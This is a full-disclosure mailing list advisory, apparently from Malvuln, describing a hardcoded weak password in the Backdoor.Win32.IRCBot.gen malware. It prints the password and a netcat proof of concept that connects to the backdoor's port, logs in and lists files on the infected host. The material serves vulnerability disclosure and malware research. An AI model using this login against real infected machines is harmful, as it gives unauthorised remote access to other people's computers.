full-disclosure - [FD] Backdoor.Win32.IRCBot.gen / Hardcoded Weak Password

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Message-ID: <CAAHK0WR_jVHKzNkJ1+L5JvRZ8Rc6VASOs9Ujwk_z46oawtnYfA@mail.gmail.com>
Date: Wed, 11 Aug 2021 00:56:28 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.IRCBot.gen / Hardcoded Weak Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/bcfc89ca07bd0ad7b9396a0815c9fc39.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.IRCBot.gen
Vulnerability: Hardcoded Weak Password
Description: The malware listens on TCP port 13013. Authentication is
required for remote user access. However, the password "sexjerx" is weak
and hardcoded in plaintext within the executable.
Type: PE32
MD5: bcfc89ca07bd0ad7b9396a0815c9fc39
Vuln ID: MVID-2021-0317
Dropped files: winvxd.exe
Disclosure: 08/11/2021

Exploit/PoC:
nc64.exe x.x.x.x 13013
pwd sexjerx sexjerx
psychward revised 0.1, awaiting your command
DIR
<.>
<..>
<0409>
12520437.cpx                   (2151)
12520850.cpx                   (2233)
@AudioToastIcon.png            (308)
@EnrollmentToastIcon.png       (330)
@VpnToastIcon.png              (404)
@WirelessDisplayToast.png      (691)
aadauthhelper.dll              (154624)
aadtb.dll                      (954880)
AboveLockAppHost.dll           (252928)
accessibilitycpl.dll           (3804160)
accountaccessor.dll            (215552)
AccountsRt.dll                 (363520)
AcGenral.dll                   (2393600)
AcLayers.dll                   (372224)
acledit.dll                    (9216)
aclui.dll                      (5388800)
acppage.dll                    (68096)
AcSpecfc.dll                   (471552)
ActionCenter.dll               (261632)
ActionCenterCPL.dll            (541184)
ActivationClient.dll           (30720)
...

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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